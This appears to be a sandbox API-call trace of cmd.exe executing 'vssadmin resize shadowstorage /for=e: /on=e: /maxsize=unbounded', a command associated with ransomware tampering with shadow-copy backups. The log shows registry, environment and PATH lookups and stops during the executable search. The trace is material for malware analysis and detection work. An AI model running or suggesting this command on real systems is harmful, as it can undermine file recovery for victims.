	[0073.435] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x1, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.435] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x0, lpData=0x32fea58*=0x1, lpcbData=0x32fea50*=0x1000) returned 0x2
	[0073.435] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x0, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.435] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x40, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.435] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x40, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x0, lpData=0x32fea58*=0x40, lpcbData=0x32fea50*=0x1000) returned 0x2
	[0073.436] RegCloseKey (hKey=0xcc) returned 0x0
	[0073.436] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32fea4c | out: phkResult=0x32fea4c*=0xcc) returned 0x0
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x0, lpData=0x32fea58*=0x40, lpcbData=0x32fea50*=0x1000) returned 0x2
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x1, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x0, lpData=0x32fea58*=0x1, lpcbData=0x32fea50*=0x1000) returned 0x2
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x0, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x9, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x4, lpData=0x32fea58*=0x9, lpcbData=0x32fea50*=0x4) returned 0x0
	[0073.436] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32fea54, lpData=0x32fea58, lpcbData=0x32fea50*=0x1000 | out: lpType=0x32fea54*=0x0, lpData=0x32fea58*=0x9, lpcbData=0x32fea50*=0x1000) returned 0x2
	[0073.436] RegCloseKey (hKey=0xcc) returned 0x0
	[0073.436] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e72c
	[0073.436] srand (_Seed=0x5e40e72c) 
	[0073.436] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded"
	[0073.436] malloc (_Size=0x4000) returned 0x37721f0
	[0073.437] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded"
	[0073.437] malloc (_Size=0xffce) returned 0x3780048
	[0073.437] ??_V@YAXPAX@Z () returned 0x32ffa30
	[0073.437] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3780048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0073.438] malloc (_Size=0xffce) returned 0x3790020
	[0073.438] ??_V@YAXPAX@Z () returned 0x32ff804
	[0073.438] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3790020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0073.438] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0073.438] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0073.439] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0073.439] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0073.439] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0073.439] GetProcessHeap () returned 0x33b0000
	[0073.439] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b56a8) returned 1
	[0073.439] GetEnvironmentStringsW () returned 0x33b4bd0*
	[0073.439] GetProcessHeap () returned 0x33b0000
	[0073.439] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xae2) returned 0x33b7748
	[0073.439] FreeEnvironmentStringsA (penv="A") returned 1
	[0073.439] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0073.439] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0073.439] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0073.439] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0073.439] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0073.439] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0073.439] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0073.439] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0073.440] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0073.440] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0073.440] malloc (_Size=0xffce) returned 0x379fff8
	[0073.440] ??_V@YAXPAX@Z () returned 0x32ff59c
	[0073.440] GetProcessHeap () returned 0x33b0000
	[0073.440] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x38) returned 0x33b0ae0
	[0073.440] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x379fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0073.441] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x379fff8, lpFilePart=0x32ff5e8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32ff5e8*="Desktop") returned 0x17
	[0073.441] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0073.441] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32ff368 | out: lpFindFileData=0x32ff368*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x33b0b20
	[0073.441] FindClose (in: hFindFile=0x33b0b20 | out: hFindFile=0x33b0b20) returned 1
	[0073.441] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x32ff368 | out: lpFindFileData=0x32ff368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x33b0b20
	[0073.441] FindClose (in: hFindFile=0x33b0b20 | out: hFindFile=0x33b0b20) returned 1
	[0073.441] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x32ff368 | out: lpFindFileData=0x32ff368*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x33b0b20
	[0073.442] FindClose (in: hFindFile=0x33b0b20 | out: hFindFile=0x33b0b20) returned 1
	[0073.442] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0073.442] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0073.442] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0073.442] GetProcessHeap () returned 0x33b0000
	[0073.442] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b7748) returned 1
	[0073.442] GetEnvironmentStringsW () returned 0x33b4bd0*
	[0073.442] GetProcessHeap () returned 0x33b0000
	[0073.442] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb1a) returned 0x33b6c58
	[0073.442] FreeEnvironmentStringsA (penv="=") returned 1
	[0073.442] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3780048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0073.442] GetProcessHeap () returned 0x33b0000
	[0073.442] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b0ae0) returned 1
	[0073.442] ??_V@YAXPAX@Z () returned 0x1
	[0073.442] ??_V@YAXPAX@Z () returned 0x1
	[0073.442] GetProcessHeap () returned 0x33b0000
	[0073.442] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x400e) returned 0x33b8d60
	[0073.443] GetProcessHeap () returned 0x33b0000
	[0073.443] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8c) returned 0x33b7780
	[0073.443] GetProcessHeap () returned 0x33b0000
	[0073.443] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b8d60) returned 1
	[0073.443] GetConsoleOutputCP () returned 0x1b5
	[0073.452] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0073.452] GetUserDefaultLCID () returned 0x409
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32ff958, cchData=128 | out: lpLCData="0") returned 2
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32ff958, cchData=128 | out: lpLCData="0") returned 2
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32ff958, cchData=128 | out: lpLCData="1") returned 2
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0073.452] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0073.452] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0073.454] GetProcessHeap () returned 0x33b0000
	[0073.454] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x0, Size=0x20c) returned 0x33b7860
	[0073.454] GetConsoleTitleW (in: lpConsoleTitle=0x33b7860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0073.459] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0073.459] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0073.459] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0073.459] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0073.459] ??_V@YAXPAX@Z () returned 0x1
	[0073.459] GetProcessHeap () returned 0x33b0000
	[0073.459] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x400a) returned 0x33b8d60
	[0073.459] GetProcessHeap () returned 0x33b0000
	[0073.459] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b8d60) returned 1
	[0073.460] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0073.460] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0073.460] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0073.460] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0073.460] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0073.460] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0073.460] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0073.460] GetProcessHeap () returned 0x33b0000
	[0073.460] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x58) returned 0x33b7a78
	[0073.460] GetProcessHeap () returned 0x33b0000
	[0073.460] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33b7ad8
	[0073.461] GetProcessHeap () returned 0x33b0000
	[0073.461] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x78) returned 0x33b7b00
	[0073.462] GetConsoleTitleW (in: lpConsoleTitle=0x32ff850, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0073.463] malloc (_Size=0xffce) returned 0x3792638
	[0073.463] ??_V@YAXPAX@Z () returned 0x32ff5dc
	[0073.464] malloc (_Size=0xffce) returned 0x37a2610
	[0073.464] ??_V@YAXPAX@Z () returned 0x32ff394
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0073.465] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0073.466] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0073.467] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0073.467] ??_V@YAXPAX@Z () returned 0x1
	[0073.467] GetProcessHeap () returned 0x33b0000
	[0073.467] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xffd6) returned 0x33b8d60
	[0073.468] GetProcessHeap () returned 0x33b0000
	[0073.468] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8a) returned 0x33b7b80
	[0073.468] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0073.468] malloc (_Size=0xffce) returned 0x37a2610
	[0073.468] ??_V@YAXPAX@Z () returned 0x32ff114
	[0073.468] GetProcessHeap () returned 0x33b0000
	[0073.468] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1ffa4) returned 0x33c8d40
	[0073.470] SetErrorMode (uMode=0x0) returned 0x0
	[0073.470] SetErrorMode (uMode=0x1) returned 0x0
	[0073.470] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x33c8d48, lpFilePart=0x32ff134 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32ff134*="Desktop") returned 0x17
	[0073.470] SetErrorMode (uMode=0x0) returned 0x1
	[0073.470] GetProcessHeap () returned 0x33b0000
	[0073.470] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x0, Ptr=0x33c8d40, Size=0x4a) returned 0x33c8d40
	[0073.470] GetProcessHeap () returned 0x33b0000
	[0073.470] RtlSizeHeap (HeapHandle=0x33b0000, Flags=0x0, MemoryPointer=0x33c8d40) returned 0x4a
	[0073.470] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0073.470] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0073.470] GetProcessHeap () returned 0x33b0000
	[0073.470] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1b4) returned 0x33b7c18
	[0073.470] GetProcessHeap () returned 0x33b0000
	[0073.470] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x360) returned 0x33b7dd8
	[0073.476] GetProcessHeap () returned 0x33b0000
	[0073.476] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x0, Ptr=0x33b7dd8, Size=0x1b6) returned 0x33b7dd8
	[0073.476] GetProcessHeap () returned 0x33b0000
	[0073.476] RtlSizeHeap (HeapHandle=0x33b0000, Flags=0x0, MemoryPointer=0x33b7dd8) returned 0x1b6
	[0073.477] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0073.477] GetProcessHeap () returned 0x33b0000
	[0073.477] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe0) returned 0x33b7f98
	[0073.477] GetProcessHeap () returned 0x33b0000
	[0073.477] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x0, Ptr=0x33b7f98, Size=0x76) returned 0x33b7f98
	[0073.477] GetProcessHeap () returned 0x33b0000
	[0073.477] RtlSizeHeap (HeapHandle=0x33b0000, Flags=0x0, MemoryPointer=0x33b7f98) returned 0x76
	[0073.477] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0073.477] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32feec0) returned 0xffffffff
	[0073.477] GetLastError () returned 0x2
	[0073.477] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0073.477] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32feec0) returned 0xffffffff
	[0073.478] GetLastError () returned 0x2
	[0073.478] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
